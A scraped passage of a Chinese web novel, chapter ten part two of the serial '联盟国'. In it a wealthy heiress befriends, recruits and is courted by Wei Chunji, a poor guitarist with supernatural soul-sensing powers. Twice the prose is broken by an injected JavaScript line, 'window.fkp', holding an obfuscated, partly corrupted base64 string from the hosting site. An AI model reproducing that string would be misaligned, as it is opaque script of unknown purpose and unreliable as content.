“涅小姐!这......这也太贵了吧。” 他一脸惊讶地说。我平淡地眨了眨眼,说: “不必惊讶,魏春冀。这里的餐馆都是这个价格,我早就已经习惯了。” 他对我竖起大拇指,夸赞道: “不愧是高端区域,尽享奢华啊。” 我冲他笑了笑,并非是嘲笑他没见过世面的样子,而是因他身上莫名的可爱而莫名想笑。他在我眼中一直以来都是个可爱的男人。 等菜都上桌了,我拿起刀叉就准备开吃,而他先是用手机拍了张照留作纪念,然后拿起刀叉开始研究怎么去吃。我吃了几口,见他还在那里研究,就问他怎么回事,他告诉我这样的饭菜得用高贵的方法去吃。我被他的天真逗笑了,告诉他正常怎么吃就怎么去吃,他有些不太敢,但见我都那样吃了,也就没那么多顾及了。等我们都吃饱了,我就去柜台那边结账。结账时,他刻意去要了个披萨盒,然后将三块吃剩的披萨打包带走了。他这么做令我感到有些难堪,哪有在这样的饭店里打包餐品的。不过我能理解他,毕竟我和他出身不同,他的节俭也是合理。 当我们两个离开餐馆的时候,他对我感谢了我一番,我能看出这顿饭他吃得很高兴。他的高兴感染到了我,我也情不自禁有些莫名的开心。在我们分开之前,他又问了之前问过我的那个问题。 “涅小姐,我们可以成为朋友吗?” 他的小心思被我识破,见我高兴就想趁虚而入,想拉近我们之间的关系。高傲的我岂会同意?但高傲归高傲,交朋友归交朋友,一码事是一码事。我心里觉得认识这样的朋友也是件好事,所以就心里默许了,但口头上却没有明示。 “我考虑考虑。” 他有些失望,但脸上的笑容依旧。眼神里藏不住的喜欢,那是心中开了一朵向阳花,正索求着阳光。我不免开始猜测,也许他将是我未来的一种选择?我见他这样,抿嘴笑笑,告诉他: “我期待你的成长与进步,魏春冀。” 他听我这回答,顿时来了斗志。压不住的激动,藏不住的期许,我猜他已下定决心,准备起航去远方的尖端。我期待他的成长,愿我的直觉永远在欺骗我。我能感觉到,魏这个男人有想拿下我的决心,他只是缺乏力量与台阶。 我那时天真的以为他打包是为了节约食物,其实他打包多是为了他楼下的那个跟他关系好的流浪老头。据说,那位老爷爷曾给他提出过很多宝贵的意见,让他拥有了敢于去追求我的勇气。若那个老爷爷还活着的话,我肯定得去好好感谢他。若不是因为他,魏和我最后还走不到一起呢。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十话:雾中夫人(二) 书接上文...... 在后来的一段时间里,偶尔的短暂小休假,我能清闲个一晚上。在那种时候,我一定会去阳光三号公园走一走,去一睹那道永不缺席的风景,听上个几分钟的小曲,带着好心情继续散步。他就像是吟游诗人一样,每次我来都可以在那里见到他的身影。每当看到他的时候,我总会感觉到莫名的开心。当我听到他弹奏的一首首小曲时,那一天的压力仿佛烟消云散,只剩下一阵清风与一轮明月。他的音乐具有魔法,他本人也是一位“魔法师”。 一走一过,我难免和他聊上几句。大兵哥在身旁的时候,我会克制一下,少说几句话;而当大兵哥不在的时候,我会刻意跟他多聊几句。他这人有一点很有趣,在我们两人陷入到尬聊,或是没话题可聊时,他总会撕下他无趣的外皮,变得幽默起来,尽他所能地去挖掘话题,或者制造话题。这种精神我很看重,没话题时找话题,总能带来一些共同语言。我对此印象深刻。 慢慢地,我在他身上找到了情绪的输出口,我爱上了向他倾诉烦恼忧愁的感觉。每当我向他倾诉,他都会竖起耳朵来、用心去感受我的一字一句,帮我分析、帮我分担;就像一位倾听者一样,无私地倾听着我的一字一句,还会向我提出意见,安慰我几句。当我沉浸在这样美妙的体验中时,我才知道我一直以来都是孤独的独行者,我看似朋友众多,但其实根本没有同路的搭档。我看似完美的一生之中一直都缺少一个碎片,我想,他正在将那一块递交给我。 不过,貌似只有我向他的单方面倾诉。他从不向我倾诉,要说也只是简单调侃几句,似乎他的生活完全保密。但实则不然,他只是嫌自己的生活太无趣、太窝囊、太没有亮点,所以才不肯向我诉说,怕拉低我对他的好感。我不算太了解男人,但我清楚,这世上没有一个男人愿在女人面前说自己到底有多苦,男人大多都秉持着一份倔强,一份孤勇者的倔强。 大兵哥对他的看法一直很不好。大兵哥固执地认为他就是一个图钱图色的图谋不轨之人,无论我怎样解释,大兵哥就是不愿认同他,似乎他在大兵哥眼里永远是抬不起头的。可我不同于大兵哥,我是相信着他的,我还期待他能翻越阻隔,成为都市强者圈中的一员。 到了年末,我休了年终假,去东洋墟位于热带的双子岛度假一个月。临走前他专程打车来送了我,我很感谢他能来送我。不过可惜的是,他才来没多久就被大兵哥赶走了。其实我想拉着他一起去度假,不过机票和经费有限,而且他的实力还不够格,我邀请他是在是抹不开面子。这种想法只得埋在心里,期待并希望他明年能有所成就,给我一个冠冕堂皇的、邀请他的理由。 在我登机前,他不知从哪里得知了我的手机号码,给我打了一通电话。电话里他好好地向我道别,还祝愿我能在那边玩得愉快。高冷的我不免有一点点感动。在电话里,我真诚地告诉他: “等明年这个时候,你若是有所成就,我就带着你一起去度假。” 他听后挺激动的,连声对我感谢了好几句。最后,他向我保证道: “涅小姐,你放心吧,我肯定不辜负你的期望。我一定会尽我所能去创造价值,向你证明我也是如星辰一样的人。” 我笑了笑,说: “那我就静静期待好了。” 在那一个月的休假里,我玩得很愉快,如往常的年终假一样。不过,这一次与以往稍有些不同。许久见不到他,我一时有点不适应,高傲的我竟然还有点想念他,似乎他成为了我生活中的一部分,难以割舍的一部分。休假的同时,我还雇了眼线去监视他,就像看看他到底是不是我直觉中的那种人。结果是显而易见的,他并没有做出任何出格的事情,他用行为验证了他的真心,真令我满意! 在我回去后,我还是有些不放心,就去情报部调查了一下这一个月发生在他身上的事。我特别担心他会在暗中做什么坏事,怕他在我这里使用情报战术来欺骗我的感情。不过等了解完监视资料后,我就放下心来,庆幸是我自己多想了。他始终如一,我走之前怎么生活,我走了之后还怎么生活。 在有关他的监视资料中,有两件事让我印象深刻。 第一件,他公司暗恋他的女员工向他表白了,他直接给回绝了,他向那名女员工宣誓了自己的主权,即便他和我还并不是男女朋友关系。而且不仅是给回绝了那么简单,他竟然还把自己同在一个公司的好哥们介绍给了这位女员工,最离谱的是这两人还在他的撮合下成了情侣,关系还好到离谱的程度。他的好哥们和他相约在两人结婚之时拉他去喝喜酒。 我非常佩服他,他真是个会魔法的男人。 第二件,他家小区里面有个流浪老头,那个老头常来他家蹭饭。那个老头与他的关系似乎很好,每次去他家蹭饭都得带点小礼物过去,有时是一篮子鸡蛋,有时是木头雕塑,有时是几块熏肉。那个老头走的时候也带着些东西离开,有时是一件衣服,有时是一盒牛奶,有时是几个水果。有一天,那个老头死了,死在了桥洞底下。按照正常的处理手段,这个老头应该被送去郊外的公墓。可这个老头最后的归属,竟是一座像模像样的坟墓,那是他给这个老头买的。 想不到流浪一生的人竟在死后有了归属,还是一个与他毫不相干的人给予他的。也许这就是人性的美好吧。他的善良程度远超我的想象。 在我回来后与他的第一次相见,是在一个飘着小雪的夜晚。那时外面很冷,冷风呼啸,天空中飘着雪花,河上凝结了一层厚厚的冰。那是春天前的最后一场雪,也是初春前留给我的一份惊喜。雪中的行人匆匆,唯独我一人闲庭信步,漫步在老地方的老路上。我猜他在雪中应该不会弹奏,结果等我走进,又听见了熟悉的吉他声。我心中暗喜,急匆匆地赶到熟悉的老地方。到了那里我一瞧,他穿着棉衣、带着棉帽,靠着长椅等待着我的到来。他身旁放着一个小音箱,音响里放着他事先弹奏好的乐曲。 见到他我非常惊喜,没想到他竟会在这样冷的天里等我。我如往常一样坐在他旁边的长椅上,听上了几分钟的乐曲。虽然天很冷,冷到我会不自觉地发抖,可我的心是暖热的,冰冷的血流过暖热的心都会变得暖热。我听音乐听到入迷,不自觉地就听了个十几分钟,远超我事先预定的时间。等我意识到的时候,他都成了半个雪人,我的头上也覆盖一层薄薄的雪纱,我成了个雪姑娘。见我听完音乐,他急忙起身弄掉了身上的雪,我也起身跟着弄了弄。我们两个再次坐下,隔着长椅之间的空隙看着彼此。 这次,他给我带来了惊喜。他向我表演了一个魔术,一个称得上世界一绝的魔术。魔术中,他的左手变得透明,光线能透过他的手,非常神奇。他将左手伸进自己的身体,然后缓缓拿出了一个发光的绿色圆球。当时见到那个圆球的时候,我整个人是惊讶的,到了瞠目结舌的程度。他把那个圆球递给我,我先是一惊,而后接过圆球,感受了下这个圆球的温热。他告诉我,那个圆球是他的灵魂。我惊呆了,浑身颤抖了一下,差点就把手里的圆球抖了下去。 我很难相信这个圆球是他的灵魂,但也不好说这不是他的灵魂,因为我本人听说过灵魂但亲眼没见到过灵魂。既然他说这是他的灵魂,那我就姑且相信这是他的灵魂了。我欣赏了下手中的灵魂,看到它散发着灿烂的光辉,我不由得陶醉在其中。这时我的脑中冒出了一个疑问:“我的灵魂是怎样的呢?”。带着这个疑问,我先将他的灵魂还了回去,然后问他这个问题。他犹豫了片刻,似乎是不好意思用手碰我。他想了一会,想到了一个完美的办法。他用神奇的魔法,只是手对着空气那么一挥,一颗金色圆球就从我体内飞出,落入他手。 那就是我的灵魂,它也散发着璀璨到令人陶醉的光。 他捧着我的灵魂,用温柔的目光去欣赏它。他说: “美得让人陶醉不是吗?它散发着生命的光辉,饱含一首首凄美的诗篇,一瞬的美铸就我们的生命。” 我附和道: “对呀!它真的太美了。我真的想不到灵魂竟然是这般美丽,它的光芒令我陶醉。啊!这就是灵魂的姿色吗?它比宝石都璀璨!它比星辰都耀眼!它比这世上的一切事物都要美丽!我已经激动地不知该如何形容它了。” 我从他手中接过了我的灵魂。我的灵魂似乎有些淘气,它刚到我手上就飞走了,飞回了他的手中。他见了,笑着捧起它来,接着手轻轻一抬,它就飞离他的手,然后环绕我一圈,搜的一下飞回我的体内。见我灵魂竟然这般淘气且具有灵性,我不由得笑出了声。那是高冷的我第一次在他面前开心到笑出声来。我的笑点很奇怪,但那魔术对于我来说的确是很有趣。 他见了,在一旁调侃道: “涅小姐,你的灵魂可真是活泼呢。” 他的魔术逗笑了我,也逗笑了他。这是我见过最特别的魔术。在给我表演完魔术后,他告诉了我这魔术背后的秘密,以及这秘密背后的故事。 其实这并非是魔术,而是他的一种特异能力。他可以感受、看到、感应灵魂的存在,还可以看到另一个世界的居民,算是有了一种看透一切的能力。不仅如此,他可以通过一种特殊的掏灵魂的方式来知晓对方心里想的事情,就是俗话里常说的“掏心窝子的话”。而且这份能力正变化着,每日都会增强一点点,具有很强的成长性。这份特殊能力让我对他的印象更深了。 他这份能力是来源一场命中注定的意外。那个流浪老头在死前将一块怪石交给了他,说这块怪石是一块神圣的石头,必须要由他妥善保管。在某一天的夜里,这块怪石发生了异象,这异象使他做了个怪梦。他还特意告诉我,那一夜是个晴朗的冬夜,月相是残月,似乎有何特殊的寓意。 据他所说,他在梦境中见到一片灰色的土地,土地上插满了十字造型的黑色木杆,土地中央屹立着一个废弃的圣殿。整片土地之上到处弥漫着凋零的气息,每一寸灰土都饱含死亡的影子。等他走入圣殿,他见到了圣殿中奇异的景象。一把紫黑红三色汇聚在一起的特大型巨剑插在圣殿尽头的高台上,他说那足足有十层楼那么高;还有一头四翼四足的黑龙等候在圣殿之中,那头黑龙自称是死之龙,是看守命终之死的恒律太玄。死之龙的样子他难以用口头语言描述,只说那黑龙样子很帅。他和死之龙聊了很多,很快就跟死之龙打好了关系,一人一龙成了朋友。然后死之龙指引他来到圣殿中心的一块石碑,让他触摸那块石碑。他照做了。他见到了紫黑红三色的火焰从他的手背上燃起,接着那石碑上的文字发出了异样的红光,之后梦就醒了。莫名其妙的,他就从死之龙那里获得了这种特殊的能力。 知道真相后的我,不禁替他感到高兴。普普通通的公司基层员工,竟然在一场意外中获得了超能力。多么幸运,令人羡慕。也许这是他登上高台的机会,他的命运也许就将因此改变。 后来的一段时间里,我陷入了深深的忙碌之中,因为我要参加西柏木重点地区桑特尔姆的地方首脑竞选。桑特尔姆是我生活的地区的名字,成为该地区的首脑是一直以来的我的梦想。为了支持我,我的家人们在这方面为我投入了很多人力物力,他们都非常希望我能竞选成功。因为如果我成为该地区首脑,我们涅家将突破往日的巅峰,达到前所未有的兴盛,我们涅家也将跻身成为西柏木四大家族之一。因此,涅家全体都对我抱有高度期望。 在这样的忙碌中,我自然是无暇去顾及太多,一心为了几个月后的竞选而努力。自然而然,我也没法去老地方散步,自然也见不到他。不过我长着一颗为专注工作而生的大脑,工作时我绝不会分心,只会专心致志地去工作,因此我只能在稍稍能休息的时候想一想他的事情。一忙连续连续好几个月,这几个月里一直处理有关竞选的事,一直没时间去散步。许久见不到魏春冀,还是有些不习惯。一想起他,我忙里抽闲去情报部找我委任的监视者,询问他最近的状况。 监视者告诉他还是老样子,生活还是那样平凡普通,每天都会去老地方弹琴。一连几个月他都没等到我,真是可怜他一直在那里等了。监视者还告诉我一件事,他曾帮助一个私家侦探在多月未解的悬案中找到了凶手。这件事引起了我的注意,我猜测这跟他的能力有关系。 在距离首脑竞选还有半年的时候,最有希望的两大首脑候选人我和乔治所代表的集团之间进入了对峙阶段。这三个月内我们最要紧的事是稳住支持率,以及修正集团内部的种种问题。我的支持率略大于乔治,因此只要我稳住局面,乔治是无论如何都无法胜过我的。但乔治那一方岂会坐以待毙,他们肯定会使用一些特殊的战术,来使我的支持率下滑。叛徒战、信息战、谣言战......各类战斗在我们之间打响,一场名为权力的游戏开始了。 为了保证我是胜利者,我拿出了我的终极手牌,那个名为魏春冀的男人。我特意先推辞掉工作,在熟悉的时候去老地方找他。他始终如一,依然在那里弹吉他。见我来了,高兴得不得了。时隔几个月,见到我他难掩心里的激动。为了保证接下来的谈判顺利进行,我如往常一样听了几分钟的音乐,来让他的情绪保持快乐。等弹奏完,他又问我之前问过许多遍的问题。 “怎么样?我弹得好听吗?” 他问道。我微笑了一下,说: “许久不见进步挺大呀!听着挺不错的,继续努力哦。” 他在一旁欢喜。客套话说完,我直入正题,告诉了他我的来意。我问他: “魏春冀,你可以辞掉你现在的工作,去我旗下的企业工作吗?” 他一听我这么说,不好意思地挠头,怯怯地问我: “涅小姐,这......这不太好吧。” 我深吸了一口气,接着露出和善的微笑,大方地告诉他: “你可要抓住机遇哦。我现在是有忙请求你去帮,安排你来我这里工作是方便你来帮我。若你可以帮我度过现在这段艰苦岁月,我会让你过得风生水起,最差也得让你当个经理。” 他开心地笑了笑,又摇了摇头,豪气地告诉我: “经理什么的就不用了。要我帮忙的话你尽管说,要是我能帮的话我都会帮的。只是......” 我好奇地问他: “只是什么?” 他又问出了那个熟悉的问题。他问我: “帮完你那些忙,我们可以成为朋友吗?” 我笑了笑,问他: “还惦记这个事情呢。” 他紧张地挠了挠头,笑着说: “其实,我一直都想和涅小姐成为朋友。” 我若有所思地看了看他,又思考了一会,考虑到局势比较严峻,还是答应他比较合适。所以,我告诉他: “可以。” 见我同意了他,他在一旁开心地笑了,当即就决定给我弹奏一首。我自然是没有拒绝,就在愉悦中听了一曲。等他弹奏完,我突发奇想,想问问他几个问题。在他简单一问我简单一答后,我好奇地问他: “魏春冀,我很好奇一个问题。你在这里一直弹吉他,不分风雨,难道真的只是因为爱好而已吗?” 他被我问住了,一时之间不知该怎么回答。他的小心思轻松被我看穿了,我知道他的本意如何,一直以来都知道。我在考验他,验证他的本心。他讷讷半晌没说话,过了一小会才憋出了几句话来。他告诉我: “只是特别热爱,所以才不分风雨地去弹。因为音乐能带给人快乐,熏陶人的思维,让人达到一种高尚的境界。艺术什么的都是如此。” 他撒谎了,我一眼就识破了他。他可以在任何事情上诚实,却不敢在这件事上跟我坦白,他非常缺乏一份自信。我笑了笑,告诉他: “是说谎的味道。魏春冀,你是不是在骗我呀?我看你的眼神不定,有点怯怯的样子,一看就是说了谎呦。” 他有些慌张,不安地拨了拨琴弦,又张望四周,寻思怎么向我解释。从他的样子我已经看出他的想法了。不知为何,我觉得他有些莫名的可爱,呆头呆脑的,害羞的样子跟个小姑娘似的。 我笑了笑,没打算继续逼问下去,给他个台阶下。我告诉他: “如果是秘密的话,那就在心里藏好吧。——别忘了明天去我那里报道,我让大兵哥亲自来接你。” 说完,我准备离开。这时,他叫住我,问我能否别让大兵哥打他。看来他对大兵哥那件事还心有余悸。我笑了笑,答应他让大兵哥好好对待他。我准备离开,他又一次叫住了我。不过这会他欲言又止,似乎想说又不太敢说,最后只说了声一路顺风,就坐回长椅继续弹吉他去了。我笑了笑,知道了他想表达的意思。虽然他没说出口,但我心里可以猜得到。 之后,他霸气地在他老板面前了辞了职,给他老板气得骂娘。他成了他公司里最硬气的那个员工,唯一一个敢跟老板那样说话的员工。据说他走出公司时,所有的员工都注视着他,眼神之中都抱有对他的敬佩。 等他来了我这里,大兵哥先给他上了一课,教他这公司内的制度与规矩,还在暗地里跟他说了些什么,教他怎么服从规则。他自然是没有听大兵哥的话,但他仍对规则保持尊敬。之后我又专门拉他去谈话,告诉了他公司的管理制度以及他作为员工该干的事情。这种事本该是人力资源部的那些人负责的,可他这个新人比较特殊,必须由我来亲自做思想工作。他对我的话可以说是言听计从,不让做的事他还真就不去做。毕竟他是带着怎样的心理来我这里工作,我可是一清二楚。 明面上,他来我这里上班后,态度非常积极,老能为了公司利益而着想,还常常帮助同事,很快就收获了同事、经理、主管们的赏识。他勤勤恳恳的工作,就像他在之前那家公司一样。他的为人还算不错,公司内的员工常能聊起他来,在公司内认识的朋友也很多,他算是所有新人里最突出的那一个了。 暗地里,他在我们公司内部的基地和我的特工们打交道。我们的特工们训练并开发他的能力,让他使用能力越来越熟练,并且将他训练成一个特工。渐渐地,他学会了追忆、灵魂锁定这两个对我们来说至关重要的能力。追忆可以根据几件物件就能确认物主人的行动轨迹,可以轻易破解物主人秘密,搜集证据靠这能力将变得非常简单。灵魂锁定可以通过见面三四秒的时间锁定对方的灵魂,可以做到全天候无视障碍物超远距离感应,被锁定者想跑都跑不掉,无论藏在哪里都会被锁定住他的人感应到。他的这两样能力帮了我们很多忙,清理叛徒、处理外敌、调查事情,基本都靠着他一个人。他的办事效率要远超公司内的专业情报收集员,有时他的信息搜集速度甚至比整个情报部的人加起来都快。我手下的特工们都向我反应,有他参与行动能节省不少时间,任务执行的成功率和效率都得到了极大的提升。我的特工们都争抢着要让他参与行动,说有他就有假期;情报部的人也老请他帮忙,说有他没有弄不到的信息。 有几次,我有幸和他一起去处理事务。当我亲眼见到他的神奇能力之后,我才知道魏春冀对我们集团来说到底有多么重要。他是我们集团拥有的决胜之匙,如珍宝一样。我庆幸将他拉入集团,更庆幸当初没有拒绝他的心意。在处理事物的过程中,他向我展示他非凡的调查能力,依照灵魂的踪迹来确切寻找目标;而我则向他展示奇点造物的强大,阿里凯弥亚公司的w2协议、温切斯公司的G协议,再加上龙辉神匠的奇点战衣,我能如战神一般与我的敌人战斗,女子之躯也可以匹敌八尺男儿,科技就是这般强大。但光有强大的装备和聪明绝顶的头脑可不够用,还得需要一双能看透一切的眼睛,他正是我的那双眼睛。 大兵哥和他之间不可调和的关系也在他们两人并肩作战的一次又一次行动之中发生改变。原来看不起的他的大兵哥对他的看法发生180度转变,不仅是跟他成了好哥们,还时不时去聊天室畅谈,关系可谓是铁了起来。据说看似只能靠手枪来算战斗力的他,竟然在行动过程中救了大兵哥4次。要知道,大兵哥的战斗力可远在他之上。大兵哥一刀可以切开60厘米厚的铁门,力气大到可以跟八尺猛男摔跤,武术高超到可以一个人手拆身高8米的机甲,就是有点费劲。大兵哥第一次被魏春冀救的时候,大兵哥还傲娇的不肯承认,甚至还变本加厉地嘲讽他,可他并没有在意,只是淡然的一笑。第二次、第三次,他不计前嫌仍伸手去救,这着实感动大兵哥,也感动到了我。后来,大兵哥也认了这个现实,承认是他救了自己。他从未责怪过大兵哥的恶意,他善于理解别人,总能站在别人的力场去思考别人的行为。 他在公司里一天混得比一天好,我为此感到很欣慰又很满意,他的成长正是我所期望的。留他在公司里是我做得最正确的决定,谁会不喜欢一个绝对忠诚又非常善良的朋友呢?他为我付出的越多,我对他的回报也就越多,像是一笔交易,但筹码不完全是金钱。渐渐地,高冷的我也一改之前的态度,对他的态度也愈发像是朋友。我对他的好感日渐增长,但可惜增幅甚微,只是一点点。也许是有墙壁阻隔在我们两人之间。 他到了公司之后还是没改掉弹琴的习惯,经常在员工娱乐室里面弹奏。每一次弹奏都能吸引到一群听众,弹奏完总能收获别人的赞扬。我偶尔能去听一听、看一看,熟悉熟悉曾经的感觉。不过在公司内听和在外面听是两种体验,我总觉得在公司内听到有一些别扭,也许我习惯了在外面听他弹奏。看到他在公司内快乐地生活、快乐地工作、快乐地度过每一天,我就心满意足了。他所处的环境足够完美,他绝不会离开,他会一直在这里工作,直至退休。 我偶尔会带着他去参加一些聚会,他每次去都可开心了,不论大小,他总是带着笑容去参与。就是我和他线下的聚餐,他也是那种乐观的态度。时间久了,我也被他这种乐观给感染了,我也喜欢去带着笑容参加聚会,那样会让我在聚会上收获更多的欢乐。在那些聚会之中,其中有另一次令我印象格外深刻。 在一次重要事物处理之后,我们在基地里举办了一场庆祝大会,庆祝这次行动圆满成功。在聚会上,特工们欢聚一堂,一同庆祝这次关键性胜利。聚会的气氛很是欢快,我们每个人都沉浸在这氛围当中。聚会举办了约有两个小时,这是相当长时间的庆祝大会了。聚会结束的时候,清理者机器人们开始清理会场。我作为聚会的举办者,得去清点一下聚会的经济消耗,自然我是最后一个离开的。在清点的时候,我才发现他也没有离开会场。他正面对着墙,拿着一朵红玫瑰,嘴里在小声念叨着什么。我顿时就猜到了他的小心思,于是假装没看到,继续清点。 过了一会,他主动走了过来,我用余光瞥了一眼他,仍假装看不到,实则是在给他机会。他叫了我一声,我扭过头去,他一把将手中的玫瑰递向我,并说: “涅小姐!我这里有一朵玫瑰花,我觉得它挺美丽的,于是决定送给你。” 我很惊喜,伸出手轻轻拿过玫瑰。我闭上眼睛闻了闻,用鼻子好好感受了下它的花香。这朵玫瑰花香四溢,香味浓郁,一闻就知道这是高档的花品。他真是有心了。等我睁开眼,我看到他平淡又充满期待的眼神,真挚的情感就藏在其中。他见我闻完了花,便问: “涅小姐,怎么样?够符合你的品味吗?” 我淡淡的一笑,说: “还可以,花挺不错的。” 他笑着挠了挠头,表情里满是高兴,他在聚会上庆祝时都没这么高兴。他笑着对我说: “你喜欢就行。” 他表现得有些腼腆,似乎还有些未做好准备。我平淡的一笑,在一旁不说话,就等着他开口。可他就是不说,一会欲言又止、一会抓耳挠腮、一会若有所思的,仿佛这是他的第一次。他的脸不自觉地发红了,还有点青春时的羞涩,一点也没个成年男人的样子,怪有些可爱。我能看出他想向我表白,但又因为某些原因一直在犹豫。据我掌握的资料来说,他曾经有过三任女友,应该至少表白过一次,不该是这样的表现。说来也是可惜,他这样金贵的男人竟然被连续踹了三次,还都被带了绿帽子。真是可怜他如黄金一样的心灵了,也怪不得他会有这样的表现。 他一直不说,我就一直等着,反正我猜那也是迟早的事情。从他闯入我的生活开始,我就知道他的意图了。那种真挚到超越一切束缚的感情,是无法完美掩藏的;那种痴迷到不顾一切的喜欢,是层层伪装都藏不住的。 终于,他开口了。不过不是向我表白,而是怯怯地问道: “我们说话只能我们两个人听到吧?” 我激活手部的远程遥控装置,先将会场的大门锁住,后将会场的监控进行信息屏蔽,保证信息不会流出。做完这些,我告诉他: “我关闭了一切信息输出途径,你说的话只有我和你能听到。” 听到我这样说,他鼓起勇气,将一份蕴藏了一年多的心意告诉了我。他说: “涅小姐......其实呀,我是你的爱慕者的之一,我已经喜欢了你很久了。一直以来我都不敢说,直到今天有了机会。” 我听到他的话后,心里是五味杂陈,但多是甜甜的滋味。也许是冥冥之中自有缘分,高傲的我欣然接受了他的心意。我露出一抹淡淡的笑容,表露出我有点高兴的样子,但心里其实比表面上更要激动。我继续听他说,我想知道他一直不肯向我诉说的秘密。他继续说: “喜欢归喜欢,爱归爱。涅小姐你千万不要误会!我只是想表达的我的心意,并非是为了谋求什么关系呀、利益呀之类的东西。” 我微微叩了叩首,表示赞同。他继续说: “我一直在努力提升自己,目的就是为了有朝一日能和涅小姐你成为朋友。我知道我出身平凡、过得也平凡;也知道想要触摸身处高层的你真的很不容易,因此我尽我所能地来引起你的注意,用我的方式提升自己,让自己变得强大!这样来减少阶层差距对你我的影响。” 他又不好意思地挠了挠头,但眼神始终坚定。他继续说: “可是貌似有些事情不是靠努力就能改变的。我毕竟还是普通人,即便拥有超凡的能力也不过是个平凡的小子。就是步入这最顶级的企业工作,也很难拥有跻身入高层的条件。依我猜,我能与涅小姐成为一个朋友就很不错了。我很高兴认识你的,涅琉妮雅小姐。” 我摇了摇头。对于我来说,他有钱有势对我无益,即使他是超级英雄,那也是终只属于他一人的东西。而他身上让我赏识的、让我羡慕的、让我认为他不凡的,其实是他的那颗心。我一脸淡定地对他说: “这就是你表白的方式吗?可真是特别呢。未曾见到过呢。——你不该在最后加上个一句‘成为我的女朋友吧’之类的话吗?” 他急忙摇头,又摆摆手,说: “那不行!我只是想表达我的心意,不是来索求关系的。涅小姐,你误解啦!” 我疑惑地看了看他,假装嘲讽道: “你这表白真是失败,什么也没拿到,空说一场,真是可惜。” 他从容地一笑,反问我: “可你收到我的心意了不是吗?表白最重要的难道不是表达心意吗?” 我很吃惊,真是没想到他会这么说。我反问他: “你喜欢我,就仅此而已吗?” 他笑了笑,眼中的真诚无意间流露,我看到了他的真挚与几分怯懦。他的笑容消失了一半,似乎他已预见未来。他告诉我: “如果命运能够保佑,我非常希望能去爱你。可惜我没有那样的好运,能和涅小姐你成为朋友已经很不错了。” 我脸一红,顿时感到一丝害羞,一时不知道该说些什么。作为曾谈过两次恋爱的我,对这方面颇有经验,但他是个例外,我不知道该怎么去接他的话。我想开口将他拉到我身旁,可对未来的种种不确定让我不敢那么做。 我能感觉到面前这个男人他心里有着真挚的爱,那种爱是比宝石都珍贵的;可他不是都市里强人,我这样的强者不能触碰他,一下也不行!爸爸说过,强者只允许和强者谈爱,因为那样家族才会生生不息;强者和弱者之间只能谈利用,而不是那些美好的真谛。爸爸还说,弱者是不该触碰强者的,强者也不能让弱者变强,不然生态系统就会断裂,那是自断生路的行为。 他见我害羞,在一旁笑了几声,我也跟着尬笑了一下。我想伸出手触碰他,让他持久以来的付出能有一个圆满的回报,可我做不到,一下也做不到。他主动对我伸出了手,我一把握住,我们握了个手。握手时,他笑着告诉我: “我们彼此都加油吧!涅小姐。我协助你完成梦想,让你成为首脑。你协助我走向高层,让我强大起来。我们一起在这条路上努力,一起为了我们信仰的东西。我们是朋友,永远的朋友。” 握着他的手,不知怎地,我感觉到莫名的安心,他是最让我放心的人,除了大兵哥以外他是最信任的人。在放手时,我竟有些怆然。因为我知道,我们现在可以站在一起,可以说对方是朋友;但也许未来就不是那样了,我们可能都去走自己的道路,分道扬镳。 这时,我心里冒出了一堆的问题。这些问题不想等它被遗忘吞噬,我想立即知道答案。我问他: “魏春冀,我问你一些问题,请你如实告诉我。” 他点点头,微笑着说: “问吧,涅小姐。” 带着心中的好奇,我问他: “若你以后不得不告别我,回到你原来的那种生活中去,你心里会怎么想呢?是愤怒?还是埋怨?还是......” 他从容地回答: “我会从容接受那样的现实。因为我本来就是那样,不过是回去了而已。既然从那里走来,再回到那里也不是什么难事。我早就习惯了一切。” 他的答案很不错,一点也没有稚气。接着,我又问: “那我要是以后找到了人生中的另一半,那你还会来联系我吗?” 他即答: “不会。” 我问: “为什么?” 他笑着告诉我: “我不想毁掉你的生活,这与我想去认识你的初衷相违背。况且,没有哪个男人希望自己的妻子心里还装着第二个男人,不能被专注地去爱或被爱是一种可悲。我不想成为我讨厌的人。” 我皱起眉头,问他: “那样你真的忍心吗?” 他从容又坦然的一笑,一笑泯去爱恨情仇。他说: “只要你过得好,我苦点倒没什么事。男人嘛,苦点都是正常的。” 我追问道: “可那么多的回忆,说扔就扔了,岂不是太可惜了?” 他从容的一笑,用温柔的口吻告诉我: “就当那些回忆,是昨日的点缀吧。” 我惊了,惊到一时间连话都说不出。我静静地盯着他,心里不由得冒出几分敬佩,他这样的男人我真实第一次见。他的人格魅力太大了,深深地吸引到了我。他见我迟迟不说话,就向我讲了一个道理。他说: “我还记得,那个大师曾活着的时候,告诉过我一个道理。——过去是定格的影片,未来是难以预见的疑团,而现在是上天赐予的礼物。也许我不生在沃土,但过去不会决定我现在的样子,也不会决定我未来的样子。真正能决定我是什么样的人的,永远是我,魏春冀。” 我高兴地鼓了鼓掌,一时心里激动未缓过来,只知道笑和鼓掌。我情不自禁地夸赞他道: “说得好!魏春冀。你的答案惊艳到了我。” 他谦虚地叩了叩首,说: “谢谢夸奖。” 我收回我的话,他的表白是最成功的表白,他不仅让我明白了他的心意,还让我明白了他高尚的人格。他让我知道这世上还有这样好的男子。只是他出身平凡,引不到别人的注意,又羞于表现自己,委屈地在平凡中度过一生。平凡和贫穷不该限制他的成长!他可以成为星一样的存在,他可以用一份朴实无华照亮这座城市!我现在比任何人都期待他的成长,我希望他能是那颗耀眼的星。 在他拿着一瓶橙汁离开会场时,我痴痴地凝望他的背影。我被他的人格魅力所征服,我对他好感也超过了我本以为的峰值。我想伸出手触摸他,可我做不到,他还不是强者的一员呢。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十话:雾中夫人(三) 书接上文...... 